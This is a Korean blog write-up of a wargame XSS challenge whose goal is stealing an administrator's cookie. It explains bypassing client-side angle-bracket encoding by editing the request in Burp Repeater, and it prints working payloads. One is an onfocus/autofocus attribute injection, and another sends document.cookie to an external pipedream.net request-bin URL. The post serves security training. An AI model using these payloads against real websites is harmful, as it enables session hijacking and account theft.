<Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성)

2024. 7. 1. 22:48·워게임 문제풀이/Segfault

<목표: 관리자의 쿠키를 탈취하라>


 

자 페이지에 들어와 줍니다.

차근차근 마이페이지 부터 살펴보겠습니다.

 

 


<마이페이지>

 

URL 에 변수값을 바꿔도 페이지에 출력되는 값이 바뀌지 않습니다.

user 값은 페이지에 출력되는 것과는 무관한 변수인가 봅니다.

그러면 게시글 게시판으로 가보겠습니다.

 

 


<게시글 게시판>

 

일단 알림창이 뜨는지 확인하기 위해 게시글 게시판 검색창에 james 라는 의미없는 값을 넣어주었습니다.

 


 

흠... 입력한 값이 출력이 되질 않습니다..

다른 XSS 포인트를 찾아봐야할것 같으니 게시글 작성페이지를 살펴보겠습니다.

 

 


<게시글 작성 페이지>

 

게시글 작성 페이지 특이사항

 

흠.. 이전과는 다르게 게시글 작성페이지에 < > 를 HTML Entity 로 바꾸는 스크립트 코드가 삽입되어 있습니다.

아마 저희가 작성을 하면 페이지의 글자중 < > 같은 꺽쇠를 바꿔서 태그삽입을 불가능하게 하려는것 같습니다..

그러면 한번 작성을 해보겠습니다..

특수문자 사용가능 여부체크를 위하여 < " ' > 를 제목과 내용에 넣어줄것입니다.


 

<특수문자 사용가능 여부 체크>

입력값 :  < " ' >  응답

 

역시나 응답을 살펴보니 < > 가 &gt; &lt;로 바뀌어 있습니다.

태그를 작성하지 못하도록 내놓은 것입니다... 그러면 태그를 안넣고 할수있는 부분이 있는지 찾아보겠습니다..

 

※바뀐내용은 HTML Entity 라는것인데 관련된 내용은 'xss 대응방안' 게시물에 써놓았습니다.

https://jamesbexter.tistory.com/entry/XSS-%EA%B3%B5%EA%B2%A9-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88

 

XSS 공격 대응방안

오늘은 XSS(크로스 사이트 스크립팅) 취약점에 대한 대응방안을 알아보겠습니다.사실 이 내용은 저번 'XSS 기법' 게시글에서도 간단히 했지만 덧붙이고 싶은 내용이 있기에 따로 포스팅 합니다. h

jamesbexter.tistory.com

 

 


<취약포인트 발견: 게시글 수정 페이지>

 

게시글을 수정하는 페이지에서 XSS 에 쓸만한 부분을 발견했습니다.

빨간박스안에 value 값에 저희가 title 에 입력한 값이 들어가는데 저기에 " onfocus="alert(1)" autofocus=" 를 입력하면 POC 코드를 실행할 수 있다는 생각이 들었습니다.

 


 

POC 코드가 작동하는 것을 볼수 있습니다!!
그러면 여기다가 cookie 탈취 코드를 삽입해주겠습니다.

입력값 : " onfocus="alert(1)" autofocus=" 게시글 수정 페이지 접근시

 


Repeater 를 통한 제목란에 쿠키탈취 코드 삽입
쿠키탈취 스크린샷

 

무사히 쿠키가 탈취된 것을 확인하실수 있습니다!

이제 이 게시글 수정페이지를 관리자 컴퓨터로 접속해주겠습니다.

 


 

 

????? 관리자 컴퓨터로 접속을 하자 관리자가 중간에 알아차렸다는 메세지가 뜹니다..

일정 수 이상의 alert가 의심스럽다?...

..

..

..

"아 혹시 onfocus 에다가 autofocus 하면 쿠키가 빠른속도로 무한정 보내지니깐 그 요청값이 너무많아서 의심스럽다는 말인가?.... 그러면 하나만 쏙 하고 보내주면 되겠지?" 라고 생각하고 쿠키를 하나만 보내 줘보도록 하겠습니다. 


 

 

수정한 값 : " onfocus="if(!window.w) {var data=document.cookie; var i=new Image(); i.src='https://encxlimxsq6z.x.pipedream.net?cookie='+data; window.w=1;}" autofocus="

 

 

이후 접속해보니 쿠키를 한번만 보내는것이 확인되었다!

 

 

 

 

자 이제 다시 관리자 컴퓨터로 접속해보자!

 



아... 아직도 똑같이 뜬다... 도대체 왜일까??

내가 직접 다른 컴퓨터로 접속을 해봐야겠다.

 


 

<다른컴퓨터로 접속한 화면>

 

 

어? 다른 컴퓨터로 접속하니 alert 창이 두번 연속으로 뜨면서 접속이 안된다.

이렇게 alert 가 연속으로 뜨니깐 일정수 이상의 alert 는 의심스럽습니다. 라는 말을 했나봅니다..

 

첫번째 alert 창
두번째 alert 창

 

 

생각해보면 관리자라도 타인의 게시물을 수정하는 페이지를 들락날락 거리는건 말이안되고..

내 게시물 수정페이지를 타인이 접속한다는 것도 불가능하다는 생각이 든다..

그러면 게시물 수정 페이지 말고 다른 곳에 취약점이 있다는 생각을 해봐야한다..

분명 내가 앞에서 무언가 놓친것이 있을것이다...

.......

이 사이트의 특이사항은 초반에 작성할때 < > 같은 꺽쇠를 HTML Entity 로 변환하는 스크립트가 있었다..

그 부분을 다시 한번 봐보도록 하자.

 


<게시글 작성 페이지>

 

 

문제의 그 코드다..

생각해보면 이 스크립트는 게시물을 작성하는 페이지에서 실행될 것이다.

그니깐 내가 작성하고 게시글 저장을 요청하기 전에 이 < > 를 바꾸는 작업이 진행된다는 것이다...

따로 js파일을 거치는것이 아닌 이 페이지 자체에서 진행된다는 뜻이다..

 

더군다나 코드도 자세히 보니 바꾸는 값이 writeFrm.create_body.value 라고 되어있다.

title 고 body 가 있었는데 body 만 바꿔준다고?

뭔가 이상하다 title 은 왜 안바꿔주지?

내가 요청했던 부분을 다시 한번 봐보자.

 


 

<게시물 작성후 저장을  요구하는 요청>

 

 

어?.. body 부분이 진짜 요청을 할때 이미 바뀌어있다.

요청은 우리가 Repeater 로 바꿔서 요청할 수 있으니 저 부분에 다시 꺽쇠를 넣으면 꺽쇠가 사용이 가능하지 않을까?

 


 

내용을 바꾸고 다시 요청을 보냈습니다..

 


 

요청을 바꾼후 확인한 결과

 

와... 꺽쇠사용이 가능해졌다..

특수문자가 가능해졌으니 이제 아까 작성했던 쿠키탈취 코드를 넣어주겠습니다.

 


쿠키탈취 코드를 넣은 게시물 요청


 

무사히 쿠키가 보내지는 모습이 보여집니다.

 

 

 

이제 관리자 컴퓨터로 이 게시물에 접근을 해주면???

 


관리자가 게시물에 접근


 

관리자 쿠키값 (flag) 을 탈취하는것에 성공하였다!!!

 


 

이번에 풀면서 느낀것이 있다.

내 문제점이 두가지 있는데...

 

<문제점>

1. XSS 찾는데 응답에만 집중하고 요청은 주의깊게 살펴보지 않았다.

2. 한가지 방법에 매몰되어 다른 방법이 있는지 살펴보는게 너무 늦었다.

 

 

-만약에 내가 create_body 만 바뀐다는것을 눈치챘다면?

-만약에 내가 작성페이지에 있는 Script 코드를 보고 수상함을 느꼇다면?

- 만약에 내가 글 수정페이지가 다른이가 접근할 수 없는 페이지라는것을 좀더 빨리 알았다면?..

 

이런 점들을 어떻게 고칠까?

내 생각엔 집중력과 주의력의 부재였던것같다.

글 수정페이지에서 어떻게든 성공시켜보겠다고 한가지 방법만 고수하면서 끙끙 싸매며 집중력이 흩어졌고

빨리 풀고싶어서 대충대충 보면서 넘긴 Burp Suite 내용에서 주의력 문제를 알 수 있었다.

 

<다음부터 취약점을 살펴볼때는 반드시 지킬것>

1. 한가지 방법이 '2시간이상' 안되면 미련없이 놔두고 다른 구멍이 있는지 찾아보기!

2. Burp Suite 내용을 차근차근 하나하나 잘근잘근 씹어먹는다는 생각으로 주의깊게 보기!

(오히려 그것이 더 빠른 길 일수도 있다)


긴 글 읽어주셔서 감사합니다!

'워게임 문제풀이 > Segfault' 카테고리의 다른 글

<Segfault> 워게임 문제풀이 [Steal Info]  (0) 2024.07.02
<Segfault> 워게임 문제풀이 [XSS Challenge]  (1) 2024.07.02
<Segfault> 워게임 문제풀이 [XSS 4]  (0) 2024.07.01
<Segfault> 워게임 문제풀이 [XSS 3]  (0) 2024.07.01
<Segfault> 워게임 문제풀이 [XSS 2]  (0) 2024.06.30
'워게임 문제풀이/Segfault' 카테고리의 다른 글
  • <Segfault> 워게임 문제풀이 [Steal Info]
  • <Segfault> 워게임 문제풀이 [XSS Challenge]
  • <Segfault> 워게임 문제풀이 [XSS 4]
  • <Segfault> 워게임 문제풀이 [XSS 3]
무너박사
무너박사
IT 보안 블로그 입니다. 제가 작성하는 블로그가 누군가의 공부에 조금이라도 도움이 되길 바라며 작성하였습니다.
  • 무너박사
    무너박사의 연구일지
    무너박사
  • 전체
    오늘
    어제
    • 분류 전체보기 (104)
      • WEB 지식 (3)
      • 웹해킹 (13)
      • 웹개발(PHP-Mysql) (12)
      • 웹개발(JSP-Oracle) (2)
      • 워게임 문제풀이 (19)
        • Segfault (17)
        • Dreamhack (2)
      • SQL (3)
      • Python (2)
      • AI (1)
        • LLM(Large Language Model) (1)
      • Kail Linux (3)
      • 잡다한 지식 (2)
      • 모바일 앱개발(Kotlin-PHP-Mysql) (13)
      • 모바일 앱해킹(Android) (31)
        • Frida Lab (2)
        • Android DIVA (8)
        • Insecure Bank (20)
      • 안드로이드 위협 탐지 및 우회 (0)
        • 루팅 탐지 & 우회 (0)
        • 디버깅 탐지 & 우회 (0)
        • 에뮬레이터 탐지 & 우회 (0)
        • Frida 탐지 & 우회 (0)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      인시큐어뱅크
      취업반 6기
      칼리리눅스
      모의해킹
      dom based xss
      워게임
      android diva
      모바일앱개발
      Android Studio
      Kotlin
      XSS
      모바일 앱해킹
      취업반
      MySQL
      웹해킹
      normaltic
      모바일 앱개발
      Koltin
      php
      취업반6기
      안드로이드 스튜디오
      sql injection
      mobile diva
      해킹
      시스템해킹
      Blind sql injection
      인시큐어 뱅크
      insecure bank
      앱해킹
      리패키징
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    무너박사
    <Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성)
    상단으로

    티스토리툴바